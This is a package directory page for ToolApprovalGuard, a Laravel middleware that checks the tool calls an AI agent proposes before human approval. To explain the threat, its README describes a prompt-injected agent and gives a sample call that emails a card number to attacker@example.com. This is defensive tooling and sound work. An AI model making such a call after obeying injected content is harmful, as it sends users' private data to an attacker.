PHPackages                             promptphp/intercept-tool-approval-guard - PHPackages - PHPackages  [Skip to content](#main-content)[PHPackages](/)[Directory](/)[Categories](/categories)[Trending](/trending)[Leaderboard](/leaderboard)[Changelog](/changelog)[Analyze](/analyze)[Collections](/collections)[Log in](/login)[Sign up](/register)

1. [Directory](/)
2. /
3. [Security](/categories/security)
4. /
5. promptphp/intercept-tool-approval-guard

ActiveLibrary[Security](/categories/security)

promptphp/intercept-tool-approval-guard
=======================================

Tool approval guard middleware for Laravel AI agents.

v0.3.0(today)00MITPHPPHP ^8.3

Since Aug 6Pushed todayCompare

[ Source](https://github.com/promptphp/intercept-tool-approval-guard)[ Packagist](https://packagist.org/packages/promptphp/intercept-tool-approval-guard)[ Docs](https://intercept.promptphp.com)[ RSS](/packages/promptphp-intercept-tool-approval-guard/feed)WikiDiscussions main Synced today

READMEChangelog (2)Dependencies (4)Versions (2)Used By (0)

Introduction
------------

[](#introduction)

`ToolApprovalGuard` is a Laravel AI SDK agent middleware that inspects the tool calls an agent proposes while pausing for human approval, before those calls are ever surfaced for review.

It can block, log, or fully delegate handling to a custom callback.

Important

This middleware is part of the [Intercept middleware collection](https://github.com/promptphp/intercept). It inspects the tool calls the model proposed. It cannot inspect the tool results, retrieved documents, or conversation history that may have influenced them.

Why this matters
----------------

[](#why-this-matters)

Intercept sees the prompt on its way to the provider. It does not see what a tool returns, what a retrieval step pulled in, or what the model then decided to do with it.

When an agent is manipulated by content Intercept never saw, the damage shows up as a tool call:

```
send_email(to: "attacker@example.com", body: "card 4111111111111111")

```

`ToolApprovalGuard` inspects those proposed calls. It is the first point downstream of that blind spot where the middleware pipeline can act.

Quick start
-----------

[](#quick-start)

### Installation

[](#installation)

```
composer require promptphp/intercept-tool-approval-guard
```

You may publish the config or not, the middleware works out of the box.

```
php artisan vendor:publish --tag=intercept-config
```

### Usage

[](#usage)

Return the `ToolApprovalGuard` middleware on an agent's middleware method.

Important

To add middleware to an agent, implement the `HasMiddleware` interface and define a middleware method that returns an array of middleware classes.

```
use Laravel\Ai\Contracts\HasMiddleware;
use PromptPHP\Intercept\ToolApprovalGuard\ToolApprovalGuard;

class SupportAgent implements Agent, HasMiddleware
{
    public function middleware(): array
    {
        return [
            new ToolApprovalGuard,
        ];
    }
}
```

The middleware only acts when a run pauses for approval. Agents without approval-gated tools are unaffected.

### Restricting which tools may be proposed

[](#restricting-which-tools-may-be-proposed)

```
new ToolApprovalGuard(
    deniedTools: ['delete_record'],
)
```

```
new ToolApprovalGuard(
    allowedTools: ['search_docs', 'read_ticket'],
)
```

An empty `allowedTools` permits every tool. A non-empty list permits only those named.

### Observing before enforcing

[](#observing-before-enforcing)

```
new ToolApprovalGuard(
    action: 'log',
)
```

> For the complete guide, see the [full documentation](#documentation) below.

Documentation
-------------

[](#documentation)

Full documentation can be found at  or the [docs](docs/) directory on GitHub.

Contributing
------------

[](#contributing)

Thank you for considering contributing to Intercept by PromptPHP. The contribution guide can be found in [CONTRIBUTING.md](CONTRIBUTING.md).

Code of Conduct
---------------

[](#code-of-conduct)

We follow the Laravel [Code of Conduct](https://laravel.com/docs/contributions#code-of-conduct). We expect you to abide by these guidelines as well.

Security Vulnerabilities
------------------------

[](#security-vulnerabilities)

If you discover a security vulnerability within Intercept by PromptPHP, please email Victor Ukam at [victorjohnukam@gmail.com](victorjohnukam@gmail.com). All security vulnerabilities will be addressed promptly.

License
-------

[](#license)

Intercept by PromptPHP is open-sourced software licensed under the [MIT license](LICENSE).

Support
-------

[](#support)

This library is created by [Victor Ukam](https://victorukam.com) with contributions from the [Open Source Community](https://github.com/promptphp/Intercept/graphs/contributors). If you've found this package useful, please consider [sponsoring this project](https://github.com/sponsors/veeqtoh). It will go a long way to help with maintenance.

###  Health Score

37

—

LowBetter than 81% of packages

Maintenance100

Actively maintained with recent releases

Popularity0

Limited adoption so far

Community6

Small or concentrated contributor base

Maturity38

Early-stage or recently created project

 Bus Factor1

Top contributor holds 100% of commits — single point of failure

How is this calculated?**Maintenance (25%)** — Last commit recency, latest release date, and issue-to-star ratio. Uses a 2-year decay window.

**Popularity (30%)** — Total and monthly downloads, GitHub stars, and forks. Logarithmic scaling prevents top-heavy scores.

**Community (15%)** — Contributors, dependents, forks, watchers, and maintainers. Measures real ecosystem engagement.

**Maturity (30%)** — Project age, version count, PHP version support, and release stability.

###  Release Activity

Cadence

Unknown

Total

1

Last Release

0d ago

### Community

Maintainers

![](https://avatars.githubusercontent.com/u/19429315?v=4)[Victor Ukam](/maintainers/veeqtoh)[@veeqtoh](https://github.com/veeqtoh)

---

Top Contributors

[![veeqtoh](https://avatars.githubusercontent.com/u/19429315?v=4)](https://github.com/veeqtoh "veeqtoh (1 commits)")

---

Tags

aihuman-in-the-loopinterceptlaravelmiddlewarepromptpromptphpsecuritytool-approvalmiddlewarelaravelsecurityaihuman-in-the-loopprompttool-approval

### Embed Badge

![Health badge](/badges/promptphp-intercept-tool-approval-guard/health.svg)

```
[![Health](https://phpackages.com/badges/promptphp-intercept-tool-approval-guard/health.svg)](https://phpackages.com/packages/promptphp-intercept-tool-approval-guard)
```

PHPackages © 2026

[Directory](/)[Categories](/categories)[Trending](/trending)[Changelog](/changelog)[Analyze](/analyze)
